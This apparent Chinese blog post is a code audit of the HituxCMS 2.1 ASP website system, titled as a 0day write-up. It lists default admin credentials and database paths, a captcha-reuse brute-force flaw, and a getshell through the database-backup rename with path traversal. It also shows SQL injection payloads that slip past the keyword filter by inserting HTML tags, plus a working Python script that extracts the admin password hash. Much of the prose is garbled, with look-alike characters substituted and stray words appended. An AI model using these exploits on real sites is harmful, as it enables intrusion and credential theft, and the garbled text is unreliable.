本文为笃行平常工做记录,这篇审计文章,也是在2014年国庆期间写的,比较简单。意在展示一个完整的开源CMS代码手工审计的过程,从未发表过,三年过去了,回过头看仍是优势意义的,故此次发出来,一块儿学习~。
经过本文你能够获取HituxCMS 2.1版本的漏洞发掘过程,getshell和sql注入。javascript
海纳企业网站管理系统(HituxCMS)是海纳网络工做室(Hitux.com)专业为企业建站而开发
的一款网站程序。该系统采用最简单易用的 asp+access 进行搭建,拥有完善的网站先后台,
并特别根据企业网站的特色开发出独具特点的栏目和功能。 HituxCMS 是企业建站的绝佳选
择!
系统三大特点:
一、全静态:全站生成.html 静态页面。下降服务器压力,加强百度收录。
二、高优化:特别针对搜索引擎进行优化处理,让客户快速找到你。
三、 够简单:拥有完善后台管理系统,全部内容都可在后台进行更新。非专业人士也可
操做。html
系统核心目录结构以下:前端
其中 AdminBeat 为后台目录, 整站的管理功能模块都在此目录中完成, Data21923 是数
据库存放目录。这两个目录通常会更名作最基本的安全。
rss 和 search 是 直 接 暴 露 在 外 面 的 用 户 可 以 直 接 调 用 的 功 能 , rss/index.asp
search/index.asp, RSS 订阅和搜索。java
Inc 目录为基础的通用包含模块目录,功能以下:python
文件名 | 功能 |
---|---|
/x_to_html 后台生成静态模块集合 | 后台生成静态模块集合 |
Access.asp | 权限验证模块 |
AntiAttack.asp | 攻击防护模块 |
article_view.asp | 文章阅读计数器 |
comment.asp | 留言模块 |
conn.asp | 数据库链接模块 |
Create.asp | 建立文件夹模块 |
GetCode.asp | 验证码生成模块 |
html_clear.asp | Html 实体/XSS 过滤模块 |
Md5.asp | MD5 算法类 |
page_list.asp | 分页模块 |
rand.asp | 随机数模块 |
web_config.asp | 站点基本配置读取模块 |
AdminBeat 目录下功能繁多,就不一一列举,且后台在实战中常常改变的。 就例举经常使用敏感
功能。web
文件名 | 功能 |
---|---|
/KEditor | KindEditor 目录,版本: 4.1.3 |
/PicUpload | 图片上传模块 |
/PicUpLoad2 | 图片上传模块 |
Data_xxxx.asp | 数据库操做模块 |
admin_login.asp | 管理员登陆验证模块 |
upfile.asp upfile_photo.asp upload.inc | 文件上传 |
表名 | 做用 |
---|---|
Article | 文章 |
Category | 文章分类 |
Web_admin | 管理员信息表(密码账号权限) |
Web_article_comment | 文章评论 |
Web_models | 模版主题 |
Web_settings | 系统配置 |
其中Web_Admin 表结构以下算法
管理员密码以 md5-16 形式存放于 password 字段。sql
缺省项目 | 做用 |
---|---|
后台目录 /adminbeat 管理员登陆 | 系统最重要的 |
默认数据库目录/Data21293/NYIKUGY5434231.mdb | 系统持久化文件敏感信息 |
默认管理员密码账号 admin/admin | 登陆后台用,拥有系统的最高权限 |
本系统对于用户纯静态,没有动态的文件展现。只有rss.asp/serach.asp/comment.asp 交
互用,也没有普通用户的系统,全部的操做都在后台进行。
权限验证整体来讲作的还不错,粗看没有找到能越权操做的地方, 且验证比较合理,状
态采用 Session 机制保存,系统 Session 字段以下:shell
Session | 做用 |
---|---|
Session("log_name") | 判断是否登陆用 |
Session("getcode") | 验证码记录字段 |
Session("log_role") | 管理员权限字段 |
这里引入的 Session 机制很是合理,充分避免了一些权限绕过的问题。
登陆会话产生 session数据库
If Not (rs.bof Or rs.eof) Then Session("log_name")=rs("username") Session("log_role")=rs("class") session.Timeout=1000
Admin_login.asp 登录成功时记录 Session
<% 'chk session If Session("log_name")="" Then response.redirect "login.asp" %> <% End If %>
Access.asp 对 Session 字段进行验证。
<% Session.Abandon() Response.Redirect "login.asp" %>
Loingout.asp 销毁 Session
上文中 Session 机制引入,验证模块 Access.asp。在全部的后台功能操做模块均包含了
Access.asp。
因此越权操做基本不存在,权限字段彷佛也没什么用,只要是管理员能就能操做后台。
主要有 2 个文件 inc/AntiAttack.asp
、 Adminbeat/Inc/Functions.asp
Err_Message = 1 '处理方式: 1=提示信息,2=转向页面,3=先提示再转向 Err_Web = "Err.Asp" '出错时转向的页面 Query_Badword="'‖and‖select‖update‖chr‖delete‖%20from‖;‖insert‖mid‖master.‖set‖chr(37)‖=‖ script‖alert" '在这部份定义 get 非法参数,使用"‖"号间隔 Form_Badword="select‖and‖set‖delete‖insert‖update‖=‖script‖alert" '在这部份定义 post 非法参数,使用"‖" 号间隔 '------定义部份 尾----------------------------------------------------------------------- ' On Error Resume Next '----- 对 get query 值 的过滤. if request.QueryString<>"" then Chk_badword=split(Query_Badword,"‖") FOR EACH Query_form_name IN Request.QueryString for i=0 to ubound(Chk_badword) If Instr(LCase(request.QueryString(Query_form_name)),Chk_badword(i))<>0 Then Select Case Err_Message 报错语句 if request.form<>"" then Chk_badword=split(Form_Badword,"‖") FOR EACH form_name2 IN Request.Form for i=0 to ubound(Chk_badword) If Instr(LCase(request.form(form_name2)),Chk_badword(i))<>0 Then Select Case Err_Message 报错语句
能够发现本系统对 get 参数和 post 参数进行了基本过滤, 但显然 post 参数过滤的关键词很少, 且过滤方式是模式匹配,请求参数只要完整包含过滤词中的其中一个则会出现
以下错误:
过滤一些 T-SQL 的关键词,看似还算安全,此文件非函数封装,只要包含了此文件都会起
到防护功能。Adminbeat/Inc/Functions.asp
中, GetSafeStr 函数过滤引号分号。
Function GetSafeStr(str) GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "") End Function
这是个函数须要主动调用这个函数才能起到防护做用。
文件 inc/html_clear.asp
HTML 过滤就不具体分析了,下文具体漏洞挖掘中用到再分析。
以登陆为例: AdminBeat/login.asp
<td ><input type="text" name="verifycode" class='verifycode' id="verifycode" size="16" maxlength="5"/> <IMG style="CURSOR: pointer" onclick="this.src=this.src+'?'" height=16 width=50 alt="验证码,看不清楚?请 点击刷新验证码" src="../inc/getcode.asp"></td>
验证码经过/inc/getcode.asp
请求而且写入 session,若是登陆失败,则会返回到 login.asp页面,可是刷新验证码是经过 HTML 脚本实现的,只要咱们请求一次验证码,在这个会话周期和 SESSION 周期里,咱们只要不从新去请求/inc/getcode.asp
那么验证码是不会变的!因而就能够写一个后台管理员密码爆破工具。
若是有了后台权限那 GetShell 仍是很简单的,这里我没有详细挖掘上传漏洞,就直接使
用数据库备份功能[内容管理->数据管理->数据备份]。
看备份代码:
act=Request("act") If act="save" Then NewData=replace(LCase(request("NewData")),".asp",".mdb") if NewData=request("OldData") then response.Write "<script language='javascript'>alert('新的数据库名称不容许与原始数据库名 称重复! ');history.go(-1);</script>" response.end else Set fso=CreateObject("Scripting.FileSystemObject") filesource=server.MapPath(DataFolder&"/"&request("OldData")) fileto=server.MapPath(DataFolder&"/"&NewData) if fso.fileexists(filesource)
能够发现,简单的把.asp 替换程.mdb,当时没有考虑 asa, cer,aspx 也能执行的状况。
其次备份文件路径没有作限制,能够构造../1.cer 跳到根目录,在咱们不知道数据库目录的状况下能够把文件备份到根目录。那么就能够在数据库中插入咱们的恶意语句或者上传一个文件用备份方式修改后缀名获取 WEBSHELL。
直接进入主题,留言板前端位于/ FeedBack/index.html
后端代码为/inc/comment.asp
<!-- #include file="AntiAttack.asp" --> <!-- #include file="conn.asp" --> <!-- #include file="md5.asp" --> <!-- #include file="html_clear.asp" --> <!-- #include file="Create.asp" --> <!-- #include file="x_to_html/Post_index_to_html.asp" --> <%'判断 if request("act")="add" then article_id=request("id") name1=trim(request.form("name")) email1=trim(request.form("email")) qq1=trim(request.form("qq")) comment=trim(request.form("content")) input_code=trim(request.form("verycode")) url1=trim(request.form("homepage")) image1=trim(request.form("img")) if comment="" then response.Write "<script language='javascript'>alert(' 请 输 入 您 的 评 论 内 容 ! ');history.go(-1)</script>" else if request("verycode")="" then response.write "<script language=javascript>alert(' 您 输 入 的 验 证 码 有 误 ^_^');history.go(-1);</script>" Response.End elseif session("getcode")="9999" then session("getcode")="" elseif session("getcode")="" then response.write "<script language=javascript>alert(' 您 输 入 的 验 证 码 有 误 ^_^');history.go(-1);</script>" Response.End elseif cstr(session("getcode"))<>cstr(trim(request("verycode"))) then response.write "<script language=javascript>alert(' 您 输 入 的 验 证 码 有 误 ^_^');history.go(-1);</script>" Response.End end if
引入了防注入文件和 CSS 过滤文件看来比较安全,留言经过 POST 表单形式提交的,继续看
代码。
set rs=server.createobject("adodb.recordset") sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'" rs.open(sql),cn,1,3 if not rs.eof then response.Write "<script language='javascript'>alert('请不要重复发布! ');history.go(-1)</script>" else rs.addnew if article_id<>"" then rs("article_id")=article_id end if
发表留言是,会对留言内容进行查库判重复。
sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"
这里咱们能控制的是 comment 字段,再看上面 post 参数过滤代码,没有对引号之类的进行
过滤。
提交数据
提示不要重复, 看来已经绕过了注入过滤。那么构造一条查询有结果集的语句,若是库内没有任何留言咱们能够先留言一个( 为了构造语句,使得查询结果集有结果)。
咱们要构形成这样
select * from web_article_comment where [content]='anything' or '1'='1'
继续提交数据
提示被过滤了!
原来是 AntiAttack.asp
中过滤的 =
符号
那咱们改为这样,也能达到条件
select * from web_article_comment where [content]='anything' or '1'<'2'
符合咱们的预期,说明确实被带入语句查询了!看来注入点存在,那咱们让条件不知足,应该会提示留言已经发布成功!
继续再提交
select * from web_article_comment where [content]='anything' or '1'>'2'
结果以下:
注入存在!
前文提到过 web_admin 表中的管理员数据,那咱们来构造语句注入吧, 可是这个注入点是
不会把查询结果回显到前端,那么只能伪盲注,为何叫伪盲注呢,由于仍是有留言成功和
不成功的两种状态的。直接进入主题。 按位猜解。
select * from web_article_comment where [content]='anything'or '1'>'2' union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where mid(password,1,1)>'a'
根据返回结果来判断密码的某一位是不是一个值,又由于 md5-16 加密,那么值的范围确定
是属于集合{ 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f }
。
那么最坏状况下猜解 16 x 16 次便可把密码彻底解出来,咱们来验证下。 默认密码 MD5 是
“7a57a5a743894a0e”
那咱们提交
anything'or '1'>'2' union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where mid(password,1,1)<'8
应该返回留言重复。
提交
anything'or '1'>'2' union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where mid(password,1,1)< '7
应该返回留言发表成功。
哦对了,咱们引入了 select union 等被过滤的词。那么咱们来绕过过滤!
感谢过滤 XSS 模块给个人帮助,见上文。
sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"
咱们来看看 nohtml 这个函数的实现,其中有代码:
re.Pattern="(\<.[^\<]*\>)" str=re.replace(str,"") re.Pattern="(\<\/[^\<]*\>)" str=re.replace(str,"") re.Pattern="/(^[\\s]*)/g" str=re.replace(str,"")
太棒了,咱们能够把 select 改为 sel<html>ect 这种, 在处理的时候直接绕过了注入监测,而后在查库前经过 nohtml 函数把 sel<html>ect 又还原程了 select!太幸福,那么分分钟就能够写出了简单的 exp,而后有了这个过 waf 也是简单的,咱们能够填充任意 html 元素!
def get( idx,key ): s = "ly'or '1'>'2' union sel<html>ect id,2,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where mid(password,%d,1)<'%c"%(idx,key) #print s httplib.HTTPConnection.debuglevel = 1 request = urllib2.Request( 'http://localhost/inc/comment.asp?act=add&id=' ) request.add_header("Accept", "text/html,*/*") request.add_header("Connection", "Keep-Alive") request.add_header("Cookie","ASPSESSIONIDASASARAR=IBEHGIGBOOHNEHLJPENBEJMM") datax = {'name':'f','content': s,'verycode':'0663'} print datax datax = urllib.urlencode(datax) try: opener = urllib2.build_opener() d = opener.open(request,data=datax, timeout=5).read() d = d.decode("utf8").encode("gbk") print d if( d.find( "成功" ) != -1): return 0 else: return 1 #存在 except Exception, e: return 0 def binarydriver( s,e,keys): while s <= e: m = (s+e)//2 print m if get(keys[m])>0: e = m - 1 elif e - s > 0: s = m + 1 else: return keys[m] binarydriver(s,e,keys) def check_jcfile(idx): s = "/0123456789abcdefg" l = 0 ll = 0 for i in range(0, 17): l = get(idx,s[i]) if ll == 0 and l == 1: return s[i - 1] ll = l return '0 def main(argv): md5 = ""; for i in range(1, 17): md5 = md5 + check_jcfile( i ) print md5
EXP 没有加优化,只是遍历的,若是用二分法( ’0123456789abcdef’) 是有序的,能够把枚
举的复杂度下降到 log16。大大加快了 EXP 的速度,其次 EXP 能够把验证码识别下,作到全自动批量工具,百度一下仍是效果不错的。
最后 ending…若有不足请指点,亦可留言或联系 fobcrackgp@163.com.
本文为笃行原创文章首发于大题小做,永久连接:海纳企业网站管理系统HituxCms2.1代码审计GETSHELL+注入
https://www.ifobnn.com/hituxcms0day.html